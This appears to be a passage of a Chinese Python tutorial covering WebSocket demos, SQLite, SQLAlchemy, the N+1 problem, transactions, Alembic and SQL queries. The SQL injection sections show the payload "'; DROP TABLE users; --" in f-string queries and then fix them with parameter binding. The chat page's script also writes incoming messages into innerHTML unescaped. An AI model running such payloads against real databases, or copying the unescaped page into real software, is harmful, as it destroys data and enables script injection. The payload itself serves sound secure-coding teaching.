<head><title>WebSocket 聊天室</title></head>
<body>
<h1>WebSocket 聊天室</h1>
<input id="nameInput" placeholder="你的名字">
<button onclick="connect()">连接</button>
<br><br>
<input id="messageInput" placeholder="输入消息..." disabled>
<button onclick="send()" disabled id="sendBtn">发送</button>
<div id="messages" style="border:1px solid #ccc; padding:10px; height:300px; overflow-y:auto;"></div>
<script>
let ws;
function connect() {
const name = document.getElementById('nameInput').value;
ws = new WebSocket(`ws://localhost:8000/ws/${name}`);
ws.onmessage = function(event) {
const messages = document.getElementById('messages');
messages.innerHTML += event.data + '<br>';
messages.scrollTop = messages.scrollHeight;
};
document.getElementById('messageInput').disabled = false;
document.getElementById('sendBtn').disabled = false;
}
function send() {
const input = document.getElementById('messageInput');
ws.send(input.value);
input.value = '';
}
</script>
</body>
</html>
""")
# 启动:uvicorn main:app --reload
# 访问:http://localhost:8000
import asyncio
import websockets
import json
import random
from datetime import datetime
async def stock_price_generator(websocket):
"""模拟股票价格实时推送"""
prices = {"AAPL": 150.0, "GOOGL": 2800.0, "TSLA": 900.0}
try:
while True:
# 模拟价格波动
for symbol in prices:
change = random.uniform(-5, 5)
prices[symbol] = round(prices[symbol] + change, 2)
# 构造数据
data = {
"timestamp": datetime.now().isoformat(),
"prices": prices
}
# 推送给客户端
await websocket.send(json.dumps(data, ensure_ascii=False))
# 每秒推送一次
await asyncio.sleep(1)
except websockets.exceptions.ConnectionClosed:
print("客户端断开")
async def main():
async with websockets.serve(stock_price_generator, "localhost", 8765):
print("股票价格推送服务启动在 ws://localhost:8765")
await asyncio.Future()
# 客户端接收
async def stock_client():
uri = "ws://localhost:8765"
async with websockets.connect(uri) as websocket:
while True:
data = await websocket.recv()
prices = json.loads(data)
print(f"\n--- {prices['timestamp']} ---")
for symbol, price in prices['prices'].items():
print(f"{symbol}: ${price}")
# 启动服务器:python server.py
# 启动客户端:python client.py
encode()/decode()数据库是存储和管理数据的核心工具。Python 内置了 SQLite(轻量级数据库),还有 SQLAlchemy 这样的 ORM 框架,让你用 Python 代码代替 SQL 语句操作数据库。本章会教你从基础的 SQL 操作到 ORM 的使用,并深入讲解 ORM 最致命的性能陷阱(N+1 查询)、连接池与事务隔离、以及真实项目必备的数据库迁移(Alembic)。
import sqlite3
# 连接数据库(文件不存在会自动创建)
conn = sqlite3.connect("mydb.db")
cursor = conn.cursor()
# 创建表
cursor.execute("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
age INTEGER,
email TEXT UNIQUE
)
""")
# 插入数据(参数化防 SQL 注入)
cursor.execute("INSERT INTO users (name, age, email) VALUES (?, ?, ?)",
("张三", 18, "zhangsan@email.com"))
# 批量插入
users = [
("李四", 20, "lisi@email.com"),
("王五", 22, "wangwu@email.com")
]
cursor.executemany("INSERT INTO users (name, age, email) VALUES (?, ?, ?)", users)
conn.commit() # 提交事务
# 查询
cursor.execute("SELECT * FROM users WHERE age > ?", (18,))
rows = cursor.fetchall()
for row in rows:
print(row) # (2, '李四', 20, 'lisi@email.com')
# 更新
cursor.execute("UPDATE users SET age = ? WHERE name = ?", (21, "李四"))
conn.commit()
# 删除
cursor.execute("DELETE FROM users WHERE name = ?", ("王五",))
conn.commit()
conn.close()
# ❌ 危险!SQL 注入
user_input = "'; DROP TABLE users; --"
cursor.execute(f"SELECT * FROM users WHERE name = '{user_input}'")
# ✅ 安全!参数化查询
cursor.execute("SELECT * FROM users WHERE name = ?", (user_input,))
很多人以为用了 ORM 就自动安全了,其实不然。SQLAlchemy 的 text() 函数如果直接拼接用户输入,同样会导致 SQL 注入:
from sqlalchemy import text
# ❌ 危险!ORM 中的 SQL 注入
user_input = "'; DROP TABLE users; --"
session.execute(text(f"SELECT * FROM users WHERE name = '{user_input}'"))
# ✅ 安全!使用参数绑定
session.execute(text("SELECT * FROM users WHERE name = :name"), {"name": user_input})
原则:无论用原生 SQL 还是 ORM,只要涉及字符串拼接 SQL,就有注入风险。
from sqlalchemy import create_engine, Column, Integer, String, ForeignKey
from sqlalchemy.orm import declarative_base, sessionmaker, relationship
Base = declarative_base()
# 定义模型
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
name = Column(String(50), nullable=False)
age = Column(Integer)
# 关系:一个用户有多篇文章
posts = relationship("Post", back_populates="author", lazy="select")
def __repr__(self):
return f"User(name={self.name!r}, age={self.age})"
class Post(Base):
__tablename__ = "posts"
id = Column(Integer, primary_key=True)
title = Column(String(200), nullable=False)
content = Column(String)
author_id = Column(Integer, ForeignKey("users.id"))
author = relationship("User", back_populates="posts")
# 创建数据库和表
engine = create_engine("sqlite:///mydb.db")
Base.metadata.create_all(engine)
# 创建会话
Session = sessionmaker(bind=engine)
session = Session()
# 增
user = User(name="张三", age=18)
session.add(user)
session.commit()
# 查
users = session.query(User).filter(User.age >= 18).all()
print(users)
# 改
user = session.query(User).filter_by(name="张三").first()
user.age = 19
session.commit()
# 删
session.delete(user)
session.commit()
你去图书馆还 10 本书。正确做法是一次性把 10 本书递给前台(1 次操作)。N+1 查询的做法是:先走到前台问"我有几本书要还?"(1 次),然后每本书单独跑一趟前台(10 次)。总共跑了 11 趟!这就是 N+1 问题——查 1 个列表,却发了 N+1 条 SQL。
N+1 问题的根源是:先查出 N 条主记录,然后对每条记录分别查询其关联数据。数据量一大,数据库就被"查询风暴"打爆。
from sqlalchemy import create_engine, Column, Integer, String, ForeignKey
from sqlalchemy.orm import declarative_base, sessionmaker, relationship
Base = declarative_base()
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
name = Column(String(50))
# lazy="select" 是默认值:访问 posts 时才发 SQL 查询
posts = relationship("Post", back_populates="author", lazy="select")
class Post(Base):
__tablename__ = "posts"
id = Column(Integer, primary_key=True)
title = Column(String(200))
author_id = Column(Integer, ForeignKey("users.id"))
author = relationship("User", back_populates="posts")
engine = create_engine("sqlite:///mydb.db", echo=True) # echo=True 显示 SQL
Base.metadata.create_all(engine)
Session = sessionmaker(bind=engine)
session = Session()
# ===== ❌ N+1 问题演示 =====
users = session.query(User).all() # SQL 1:SELECT * FROM users
for user in users:
# 每次访问 user.posts,都会发一条新 SQL!
print(f"{user.name} 发表了 {len(user.posts)} 篇文章")
# SQL 2:SELECT * FROM posts WHERE author_id = 1
# SQL 3:SELECT * FROM posts WHERE author_id = 2
# SQL 4:SELECT * FROM posts WHERE author_id = 3
# ... 100 个用户 = 101 条 SQL!
# ===== ✅ 解决方案 1:joinedload(JOIN 查询,一条 SQL 搞定)=====
from sqlalchemy.orm import joinedload
users = session.query(User).options(joinedload(User.posts)).all()
# 生成的 SQL:
# SELECT users.*, posts.*
# FROM users
# LEFT OUTER JOIN posts ON users.id = posts.author_id
# 一条 SQL 拿到所有数据!
for user in users:
print(f"{user.name} 发表了 {len(user.posts)} 篇文章")
# 不会再发新 SQL,posts 已经在 JOIN 时一起查出来了
# ===== ✅ 解决方案 2:selectinload(子查询,适合一对多)=====
from sqlalchemy.orm import selectinload
users = session.query(User).options(selectinload(User.posts)).all()
# 生成的 SQL:
# SQL 1:SELECT * FROM users
# SQL 2:SELECT * FROM posts WHERE author_id IN (1, 2, 3, ...)
# 只有 2 条 SQL,不管有多少用户!
for user in users:
print(f"{user.name} 发表了 {len(user.posts)} 篇文章")
| 方式 | SQL 策略 | 适用场景 | 注意事项 |
|---|---|---|---|
| joinedload | LEFT JOIN 一次查出 | 一对一、多对一关系 | 一对多时会产生大量重复数据(笛卡尔积) |
| selectinload | 先查主表,再用 IN 子查询关联表 | 一对多、多对多关系 | 推荐大多数场景使用,不会产生重复数据 |
| subqueryload | 用子查询包装主查询 | 特殊场景 | 性能不如 selectinload,一般不推荐 |
| lazy="select" | 访问时才发 SQL(默认) | 很少访问关联数据时 | N+1 问题的根源! |
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
name = Column(String(50))
# 一对多关系:默认用 selectinload(避免 N+1)
posts = relationship("Post", back_populates="author", lazy="selectin")
# 多对一关系:默认用 joinedload(一次 JOIN 搞定)
# profile = relationship("Profile", back_populates="user", lazy="joined")
连接池就像一个"出租车车队"。你不需要每次打车都买一辆新车(创建连接),而是从车队里借一辆(获取连接),用完还回去(释放连接)。车队大小有限(pool_size),如果所有车都在用,新来的人就得排队等待。
事务隔离就像"考试规则"。如果允许偷看别人的答案(脏读),就可能抄到错误答案(读到未提交的数据)。隔离级别越高,规则越严格,并发性能越低。
from sqlalchemy import create_engine
# ===== 默认连接池(QueuePool)=====
engine = create_engine(
"postgresql://user:password@localhost/mydb",
pool_size=10, # 连接池大小:同时保持 10 个空闲连接
max_overflow=20, # 溢出:高峰期最多额外创建 20 个连接(总共 30 个)
pool_timeout=30, # 超时:等待连接超过 30 秒抛异常
pool_recycle=3600, # 回收:连接闲置超过 1 小时自动关闭(防止数据库断开)
pool_pre_ping=True, # 预检测:使用前先 ping 一下,避免拿到已断开的连接
)
# ===== SQLite 不支持连接池(单文件数据库)=====
sqlite_engine = create_engine(
"sqlite:///mydb.db",
poolclass=StaticPool, # SQLite 用 StaticPool
connect_args={"check_same_thread": False}, # 允许多线程访问
)
# ===== 查看连接池状态 =====
print(engine.pool.status())
# Pool size: 10 Connections in pool: 8 Current overflow: 0
| 隔离级别 | 脏读 | 不可重复读 | 幻读 | 性能 |
|---|---|---|---|---|
| READ UNCOMMITTED | 可能 | 可能 | 可能 | 最高 |
| READ COMMITTED | 不会 | 可能 | 可能 | 高 |
| REPEATABLE READ | 不会 | 不会 | 可能 | 中 |
| SERIALIZABLE | 不会 | 不会 | 不会 | 最低 |
# ===== 三种并发异常的解释 =====
# 1. 脏读(Dirty Read):读到别人还没提交的数据
# 事务 A:UPDATE accounts SET balance = 0 WHERE id = 1 (还没 commit)
# 事务 B:SELECT balance FROM accounts WHERE id = 1 → 读到 0!
# 事务 A:ROLLBACK → 余额其实没变,但 B 已经基于错误数据做了决策
# 2. 不可重复读(Non-repeatable Read):同一事务内两次读结果不同
# 事务 A:SELECT balance FROM accounts WHERE id = 1 → 1000
# 事务 B:UPDATE accounts SET balance = 500 WHERE id = 1 → commit
# 事务 A:SELECT balance FROM accounts WHERE id = 1 → 500!(同一个事务内,结果变了)
# 3. 幻读(Phantom Read):同一事务内两次查询,行数不同
# 事务 A:SELECT COUNT(*) FROM orders WHERE amount > 100 → 5 条
# 事务 B:INSERT INTO orders (amount) VALUES (200) → commit
# 事务 A:SELECT COUNT(*) FROM orders WHERE amount > 100 → 6 条!(多了一行)
# ===== 在 SQLAlchemy 中设置隔离级别 =====
engine = create_engine(
"postgresql://user:password@localhost/mydb",
isolation_level="REPEATABLE READ", # 设置隔离级别
)
# 也可以在事务级别设置
with engine.connect() as conn:
conn.execution_options(isolation_level="SERIALIZABLE")
result = conn.execute(text("SELECT ..."))
你在装修房子。第一次装修是"建表"(CREATE TABLE)。后来你想加一个阳台——你不会把整栋楼拆了重建(DROP TABLE + CREATE TABLE),而是做一个"改造工程"(ALTER TABLE)。数据库迁移就是这个"改造工程"的施工图纸:记录每次改了什么、怎么改的、怎么回滚。
在真实项目中,表结构变更是家常便饭——加字段、改类型、加索引。但你绝对不能手动 DROP TABLE 再重建,因为表里有数据!Alembic 是 SQLAlchemy 的官方迁移工具,让你像 Git 管理代码一样管理数据库结构。
# ===== 安装 =====
# pip install alembic
# ===== 初始化(在项目根目录执行)=====
# alembic init alembic
# 这会创建:
# alembic/
# ├── versions/ # 迁移脚本存放目录
# ├── env.py # 迁移环境配置
# └── script.py.mako # 迁移脚本模板
# alembic.ini # Alembic 配置文件
# ===== 配置 alembic.ini =====
# sqlalchemy.url = postgresql://user:password@localhost/mydb
# ===== 配置 alembic/env.py(关键!)=====
# 在 env.py 中导入你的模型,让 Alembic 能"看到"表结构
# from app.models import Base
# target_metadata = Base.metadata
# ===== 迁移工作流程 =====
# 第 1 步:修改模型(比如给 User 加一个 email 字段)
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
name = Column(String(50))
email = Column(String(120)) # ← 新增字段
# 第 2 步:自动生成迁移脚本
# alembic revision --autogenerate -m "add email to users"
# Alembic 会对比模型和数据库,自动生成差异代码
# 第 3 步:查看生成的迁移脚本
# alembic/versions/abc123_add_email_to_users.py
"""
revision = 'abc123'
down_revision = 'def456'
def upgrade():
op.add_column('users', sa.Column('email', sa.String(120), nullable=True))
def downgrade():
op.drop_column('users', 'email')
"""
# 第 4 步:执行迁移
# alembic upgrade head → 升级到最新版本
# alembic downgrade -1 → 回滚一个版本
# alembic history → 查看迁移历史
# alembic current → 查看当前版本
# ===== 常用迁移操作 =====
from alembic import op
import sqlalchemy as sa
def upgrade():
# 添加列
op.add_column('users', sa.Column('email', sa.String(120)))
# 修改列类型
op.alter_column('users', 'name', type_=sa.String(100))
# 添加索引
op.create_index('ix_users_email', 'users', ['email'], unique=True)
# 创建新表
op.create_table(
'tags',
sa.Column('id', sa.Integer, primary_key=True),
sa.Column('name', sa.String(50), nullable=False),
)
# 添加外键
op.add_column('posts', sa.Column('tag_id', sa.Integer))
op.create_foreign_key('fk_posts_tag', 'posts', 'tags', ['tag_id'], ['id'])
# 删除列
op.drop_column('users', 'old_field')
def downgrade():
# 回滚操作(与 upgrade 相反)
op.drop_column('users', 'email')
alembic upgrade head → 再重启应用joinedload 或 selectinload 一次搞定SQL(Structured Query Language)是与数据库沟通的语言。无论你用 MySQL、PostgreSQL 还是 SQLite,SQL 语法都大同小异。本章会从零开始教你 SQL 的核心操作——增删改查(CRUD),这是所有数据库操作的基础,也是后端开发、数据分析、爬虫存储数据的必备技能。
SQL 是专门用来和数据库对话的语言。你可以用它来创建表、插入数据、查询数据、修改数据、删除数据。
把数据库想象成一个Excel 工作簿:每个"表"就是一个 Sheet,每一行是一条记录,每一列是一个字段。SQL 就是你告诉数据库"帮我找年龄大于 18 的人"、"把张三的年龄改成 20"的语言。
-- 创建用户表
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT, -- 主键,自动递增
name VARCHAR(50) NOT NULL, -- 姓名,不能为空
age INT DEFAULT 0, -- 年龄,默认 0
email VARCHAR(100) UNIQUE, -- 邮箱,唯一
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP -- 创建时间
);
-- 创建文章表
CREATE TABLE posts (
id INT PRIMARY KEY AUTO_INCREMENT,
title VARCHAR(200) NOT NULL,
content TEXT,
author_id INT, -- 外键,关联 users 表
FOREIGN KEY (author_id) REFERENCES users(id)
);
| 类型 | 说明 | 示例 |
|---|---|---|
INT | 整数 | age INT |
VARCHAR(n) | 可变长度字符串(最大 n 字符) | name VARCHAR(50) |
TEXT | 长文本 | content TEXT |
FLOAT / DOUBLE | 浮点数 | price FLOAT |
DECIMAL(m,d) | 精确小数(适合金额) | price DECIMAL(10,2) |
DATE | 日期 | birthday DATE |
TIMESTAMP | 时间戳 | created_at TIMESTAMP |
BOOLEAN | 布尔值 | is_active BOOLEAN |
-- 插入单条数据
INSERT INTO users (name, age, email)
VALUES ('张三', 18, 'zhangsan@email.com');
-- 插入多条数据
INSERT INTO users (name, age, email) VALUES
('李四', 20, 'lisi@email.com'),
('王五', 22, 'wangwu@email.com'),
('赵六', 25, 'zhaoliu@email.com');
-- 插入部分字段(其他字段用默认值)
INSERT INTO users (name, email)
VALUES ('钱七', 'qianqi@email.com');
-- 从查询结果插入
INSERT INTO users_backup (name, age)
SELECT name, age FROM users WHERE age > 18;
-- 查询所有字段
SELECT * FROM users;
-- 查询指定字段
SELECT name, age FROM users;
-- 条件查询(WHERE)
SELECT * FROM users WHERE age > 18;
SELECT * FROM users WHERE name = '张三';
SELECT * FROM users WHERE age BETWEEN 18 AND 25;
SELECT * FROM users WHERE name IN ('张三', '李四', '王五');
SELECT * FROM users WHERE email IS NOT NULL;
SELECT * FROM users WHERE name LIKE '张%'; -- 以"张"开头
SELECT * FROM users WHERE name LIKE '%三'; -- 以"三"结尾
SELECT * FROM users WHERE name LIKE '%三%'; -- 包含"三"
-- 多条件组合(AND / OR)
SELECT * FROM users WHERE age > 18 AND name LIKE '张%';
SELECT * FROM users WHERE age < 18 OR age > 60;
-- 排序(ORDER BY)
SELECT * FROM users ORDER BY age ASC; -- 升序
SELECT * FROM users ORDER BY age DESC; -- 降序
SELECT * FROM users ORDER BY age DESC, name ASC; -- 先按年龄降序,再按名字升序
-- 限制条数(LIMIT)
SELECT * FROM users LIMIT 10; -- 只取前 10 条
SELECT * FROM users LIMIT 10 OFFSET 20; -- 跳过前 20 条,取 10 条(分页)
-- 去重(DISTINCT)
SELECT DISTINCT age FROM users;
-- 别名(AS)
SELECT name AS 姓名, age AS 年龄 FROM users;
| 运算符 | 说明 | 示例 |
|---|---|---|
= | 等于 | WHERE age = 18 |
!= / <> | 不等于 | WHERE age != 18 |
> < >= <= | 大小比较 | WHERE age > 18 |
BETWEEN | 范围 | WHERE age BETWEEN 18 AND 25 |
IN | 在列表中 | WHERE name IN ('张三','李四') |
LIKE | 模糊匹配 | WHERE name LIKE '张%' |
IS NULL | 为空 | WHERE email IS NULL |
AND / OR | 逻辑组合 | WHERE age>18 AND name='张三' |
NOT | 取反 | WHERE NOT age = 18 |
-- 更新单个字段
UPDATE users SET age = 20 WHERE name = '张三';
-- 更新多个字段
UPDATE users SET age = 21, email = 'new@email.com' WHERE id = 1;
-- 使用表达式更新
UPDATE users SET age = age + 1 WHERE age < 18;
-- ⚠️ 注意:不加 WHERE 会更新所有行!
UPDATE users SET age = 0; -- 所有用户的年龄都变成 0 了!
UPDATE 和 DELETE 如果不加 WHERE 条件,会影响所有行!建议:
SELECT * FROM users WHERE ...SET SQL_SAFE_UPDATES = 1;-- 删除指定数据
DELETE FROM users WHERE name = '张三';
-- 删除满足条件的数据
DELETE FROM users WHERE age < 18;
-- 删除所有数据(保留表结构)
DELETE FROM users;
-- 截断表(更快,重置自增 ID)
TRUNCATE TABLE users;
| 操作 | 说明 | 能否回滚 | 自增 ID |
|---|---|---|---|
DELETE FROM table | 逐行删除数据 | 可以 | 不重置 |
TRUNCATE TABLE | 清空所有数据 | 不可以 | 重置为 1 |
DROP TABLE | 删除整张表 | 不可以 | 表都没了 |
-- 统计行数
SELECT COUNT(*) FROM users;
SELECT COUNT(*) AS total FROM users WHERE age > 18;
-- 求和、平均值、最大、最小
SELECT SUM(age) AS 总年龄 FROM users;
SELECT AVG(age) AS 平均年龄 FROM users;
SELECT MAX(age) AS 最大年龄 FROM users;
SELECT MIN(age) AS 最小年龄 FROM users;
-- 组合使用
SELECT
COUNT(*) AS 人数,
AVG(age) AS 平均年龄,
MAX(age) AS 最大年龄,
MIN(age) AS 最小年龄
FROM users;
-- 添加列
ALTER TABLE students ADD COLUMN email VARCHAR(100);
-- 修改列类型
ALTER TABLE students MODIFY COLUMN score DECIMAL(5,2);
-- 删除列
ALTER TABLE students DROP COLUMN email;
-- 重命名列(MySQL 8.0+)
ALTER TABLE students RENAME COLUMN name TO full_name;
-- 添加约束
ALTER TABLE students ADD CONSTRAINT unique_name UNIQUE (full_name);
-- 查看表结构
DESC students;
-- 或
SHOW CREATE TABLE students;
-- 基本用法:根据条件返回不同值
SELECT name, score,
CASE
WHEN score >= 90 THEN '优秀'
WHEN score >= 80 THEN '良好'
WHEN score >= 60 THEN '及格'
ELSE '不及格'
END AS grade
FROM students;
-- 统计各等级人数
SELECT
CASE
WHEN score >= 90 THEN '优秀'
WHEN score >= 60 THEN '及格'
ELSE '不及格'
END AS grade,
COUNT(*) AS count
FROM students
GROUP BY grade;
-- 在 UPDATE 中使用
UPDATE orders SET status = CASE
WHEN total > 1000 THEN 'VIP'
WHEN total > 100 THEN '普通'
ELSE '小额'
END;
-- 在 ORDER BY 中使用(自定义排序)
SELECT * FROM tasks ORDER BY CASE priority
WHEN 'high' THEN 1
WHEN 'medium' THEN 2
WHEN 'low' THEN 3
END;
import sqlite3
# 连接数据库
conn = sqlite3.connect("school.db")
cursor = conn.cursor()
# 创建表
cursor.execute("""
CREATE TABLE IF NOT EXISTS students (
id INTEGER PRIMARY KEY AUTOINCREMENT,
name TEXT NOT NULL,
age INTEGER,
score REAL
)
""")
# 插入数据(参数化防注入)
students = [
("张三", 18, 92.5),
("李四", 20, 85.0),
("王五", 19, 78.5),
("赵六", 21, 96.0),
("钱七", 18, 88.5)
]
cursor.executemany("INSERT INTO students (name, age, score) VALUES (?, ?, ?)", students)
conn.commit()
# 查询
cursor.execute("SELECT * FROM students WHERE score > 85")
rows = cursor.fetchall()
for row in rows:
print(row) # (1, '张三', 18, 92.5) ...
# 查询单条
cursor.execute("SELECT * FROM students WHERE name = ?", ("张三",))
student = cursor.fetchone()
print(student)
# 更新
cursor.execute("UPDATE students SET score = ? WHERE name = ?", (95.0, "张三"))
conn.commit()
# 删除
cursor.execute("DELETE FROM students WHERE score < 80")
conn.commit()
# 关闭连接
conn.close()
cursor.execute("... WHERE id = ?", (id,)),不要用 f-string 拼接上一章学了单表的增删改查,但实际项目中数据往往分散在多张表里。本章教你用 JOIN 把多张表的数据"拼"在一起,用 GROUP BY 做统计分析,用索引加速查询,用事务保证数据一致性。这些是 SQL 面试和实际开发的核心考点。
你有两张表:一张"学生表"记录学生信息,一张"成绩表"记录考试成绩。你想知道"张三考了多少分",就需要把两张表"关联"起来——这就是 JOIN 的作用。
-- 示例数据
CREATE TABLE students (
id INT PRIMARY KEY,
name VARCHAR(50)
);
CREATE TABLE scores (
id INT PRIMARY KEY,
student_id INT,
subject VARCHAR(50),
score DECIMAL(5,2),
FOREIGN KEY (student_id) REFERENCES students(id)
);
INSERT INTO students VALUES (1, '张三'), (2, '李四'), (3, '王五');
INSERT INTO scores VALUES
(1, 1, '数学', 92), (2, 1, '英语', 85),
(3, 2, '数学', 78), (4, 2, '英语', 90),
(5, 3, '数学', 88);
-- 查询每个学生的成绩
SELECT students.name, scores.subject, scores.score
FROM students
INNER JOIN scores ON students.id = scores.student_id;
-- 结果:
-- 张三 | 数学 | 92
-- 张三 | 英语 | 85
-- 李四 | 数学 | 78
-- 李四 | 英语 | 90
-- 王五 | 数学 | 88
-- 注意:没有英语成绩的王五只显示数学
-- 查询所有学生的成绩(包括没成绩的)
SELECT students.name, scores.subject, scores.score
FROM students
LEFT JOIN scores ON students.id = scores.student_id;
-- 结果:没有成绩的学生会显示 NULL
-- MySQL 支持,SQLite 不支持
SELECT students.name, scores.subject, scores.score
FROM students
RIGHT JOIN scores ON students.id = scores.student_id;
-- 每个学生和每门课的组合(慎用,数据量会爆炸)
SELECT students.name, scores.subject
FROM students
CROSS JOIN scores;
| 类型 | 说明 | 使用场景 |
|---|---|---|
INNER JOIN | 只返回两边都匹配的行 | 查有成绩的学生 |
LEFT JOIN | 保留左表所有行,右表没匹配的填 NULL | 查所有学生(包括没成绩的) |
RIGHT JOIN | 保留右表所有行 | 查所有成绩(包括没学生信息的) |
CROSS JOIN | 笛卡尔积(每行×每行) | 生成组合(慎用) |
-- 查询成绩高于平均分的学生
SELECT name, score FROM scores
WHERE score > (SELECT AVG(score) FROM scores);
-- 查询有成绩的学生信息
SELECT * FROM students
WHERE id IN (SELECT DISTINCT student_id FROM scores);
-- 在 FROM 中使用子查询(派生表)
SELECT avg_scores.subject, avg_scores.avg_score
FROM (
SELECT subject, AVG(score) AS avg_score
FROM scores
GROUP BY subject
) AS avg_scores
WHERE avg_scores.avg_score > 85;
-- 每个学生的平均分
SELECT student_id, AVG(score) AS avg_score
FROM scores
GROUP BY student_id;
-- 每个科目的统计
SELECT
subject,
COUNT(*) AS 人数,
AVG(score) AS 平均分,
MAX(score) AS 最高分,
MIN(score) AS 最低分
FROM scores
GROUP BY subject;
-- 分组后过滤(HAVING)
SELECT student_id, AVG(score) AS avg_score
FROM scores
GROUP BY student_id
HAVING AVG(score) > 85; -- 平均分大于 85 的学生
WHERE:在分组前过滤行,不能用聚合函数HAVING:在分组后过滤组,可以用聚合函数-- ❌ 错误:WHERE 中不能用聚合函数
SELECT student_id, AVG(score) FROM scores WHERE AVG(score) > 85 GROUP BY student_id;
-- ✅ 正确:用 HAVING
SELECT student_id, AVG(score) FROM scores GROUP BY student_id HAVING AVG(score) > 85;
想象一本 500 页的书,你要找"索引"这个词。没有索引的话,你得从第 1 页翻到第 500 页。有了索引(书后面的"索引"部分),你直接翻到对应页码就行。索引就是数据库的"目录"。
-- 创建索引
CREATE INDEX idx_name ON users(name);
-- 创建唯一索引
CREATE UNIQUE INDEX idx_email ON users(email);
-- 创建复合索引(多列索引)
CREATE INDEX idx_name_age ON users(name, age);
-- 查看表的索引
SHOW INDEX FROM users;
-- 删除索引
DROP INDEX idx_name ON users;
-- 事务示例:转账
BEGIN; -- 开始事务
UPDATE accounts SET balance = balance - 100 WHERE name = '张三';
UPDATE accounts SET balance = balance + 100 WHERE name = '李四';
-- 如果没问题,提交
COMMIT;
-- 如果出问题,回滚
-- ROLLBACK;
import sqlite3
conn = sqlite3.connect("bank.db")
cursor = conn.cursor()
cursor.execute("CREATE TABLE IF NOT EXISTS accounts (name TEXT, balance REAL)")
cursor.execute("INSERT OR IGNORE INTO accounts VALUES ('张三', 1000)")
cursor.execute("INSERT OR IGNORE INTO accounts VALUES ('李四', 500)")
conn.commit()
# 转账操作(用事务保证安全)
try:
cursor.execute("BEGIN")
cursor.execute("UPDATE accounts SET balance = balance - 100 WHERE name = '张三'")
cursor.execute("UPDATE accounts SET balance = balance + 100 WHERE name = '李四'")
conn.commit()
print("转账成功")
except Exception as e:
conn.rollback()
print(f"转账失败:{e}")
finally:
conn.close()
CTE 让你把复杂的查询拆成可读的"临时命名块",就像 SQL 中的"变量":
-- 基本 CTE:先算出每个部门的平均工资,再筛选
WITH dept_avg AS (
SELECT department, AVG(salary) AS avg_salary
FROM employees
GROUP BY department
)
SELECT e.name, e.salary, d.avg_salary
FROM employees e
JOIN dept_avg d ON e.department = d.department
WHERE e.salary > d.avg_salary;
-- 找出所有工资高于部门平均的员工
-- 多个 CTE 链式使用
WITH
monthly_sales AS (
SELECT DATE_FORMAT(order_date, '%Y-%m') AS month, SUM(amount) AS total
FROM orders
GROUP BY month
),
avg_sales AS (
SELECT AVG(total) AS avg_total FROM monthly_sales
)
SELECT m.month, m.total,
CASE WHEN m.total > a.avg_total THEN '高于平均' ELSE '低于平均' END AS status
FROM monthly_sales m, avg_sales a
ORDER BY m.month;
-- 递归 CTE:查组织架构的层级关系
WITH RECURSIVE org_tree AS (
-- 锚点:顶级(没有上级的人)
SELECT id, name, manager_id, 1 AS level
FROM employees WHERE manager_id IS NULL
UNION ALL
-- 递归:找下属
SELECT e.id, e.name, e.manager_id, t.level + 1
FROM employees e
JOIN org_tree t ON e.manager_id = t.id
)
SELECT * FROM org_tree ORDER BY level, id;
EXPLAIN 让你看到 SQL 是怎么执行的——用了哪些索引、扫描了多少行、用了什么连接方式。这是优化慢查询的必备工具:
-- 基本用法
EXPLAIN SELECT * FROM users WHERE age > 25;
-- 输出关键列说明:
-- type — 访问类型(性能从好到差:system > const > eq_ref > ref > range > index > ALL)
-- key — 实际使用的索引(NULL 表示没用索引)
-- rows — 预估扫描行数(越少越好)
-- Extra — 额外信息(Using index=好, Using filesort=可能需要优化)
-- EXPLAIN ANALYZE(MySQL 8.0+,显示实际执行时间)
EXPLAIN ANALYZE SELECT u.name, COUNT(o.id) AS order_count
FROM users u
LEFT JOIN orders o ON u.id = o.user_id
GROUP BY u.id;
-- 实战:对比有无索引的差异
EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';
-- 没索引:type=ALL, rows=10000(全表扫描)
CREATE INDEX idx_email ON users(email);
EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';
-- 有索引:type=ref, rows=1(索引查找)
| type | 含义 | 说明 |
|---|---|---|
const | 主键/唯一索引等值查找 | 最快,只读一行 |
eq_ref | JOIN 时主键等值匹配 | 每个组合只读一行 |
ref | 非唯一索引等值查找 | 可能返回多行 |
range | 索引范围扫描 | BETWEEN、>、< 等 |
index | 全索引扫描 | 比 ALL 好,但还是扫描很多 |
ALL | 全表扫描 | 最差,必须优化! |
窗口函数和 GROUP BY 类似,都能做聚合计算。但 GROUP BY 会把多行"折叠"成一行,窗口函数则保留每一行,在每行旁边显示聚合结果:
-- GROUP BY:每个部门的平均工资(只有部门名和平均值)
SELECT department, AVG(salary) AS avg_salary
FROM employees
GROUP BY department;
-- 3 行(3 个部门)
-- 窗口函数:每个员工旁边显示部门平均工资(保留所有行)
SELECT name, department, salary,
AVG(salary) OVER (PARTITION BY department) AS dept_avg
FROM employees;
-- 100 行(所有员工)
-- 常用窗口函数
-- ROW_NUMBER():行号(分组内编号)
SELECT name, department, salary,
ROW_NUMBER() OVER (PARTITION BY department ORDER BY salary DESC) AS rank
FROM employees;
-- 每个部门内按工资排名
-- RANK():排名(并列跳号:1, 1, 3)
-- DENSE_RANK():排名(并列不跳号:1, 1, 2)
SELECT name, score,
RANK() OVER (ORDER BY score DESC) AS rank_val,
DENSE_RANK() OVER (ORDER BY score DESC) AS dense_rank_val
FROM students;
-- LAG() / LEAD():访问前一行 / 后一行的值
SELECT month, revenue,
LAG(revenue, 1) OVER (ORDER BY month) AS prev_month,
revenue - LAG(revenue, 1) OVER (ORDER BY month) AS growth
FROM monthly_revenue;
-- 计算每月环比增长
-- SUM() OVER:累计求和
SELECT order_date, amount,
SUM(amount) OVER (ORDER BY order_date) AS running_total
FROM orders;
-- 每行显示截至当天的累计金额
-- 窗口函数的 OVER 子句详解
-- PARTITION BY:分组(类似 GROUP BY,但不折叠)
-- ORDER BY:组内排序
-- ROWS BETWEEN:定义窗口范围
-- 移动平均(最近 3 行的平均值)
SELECT month, revenue,
AVG(revenue) OVER (
ORDER BY month
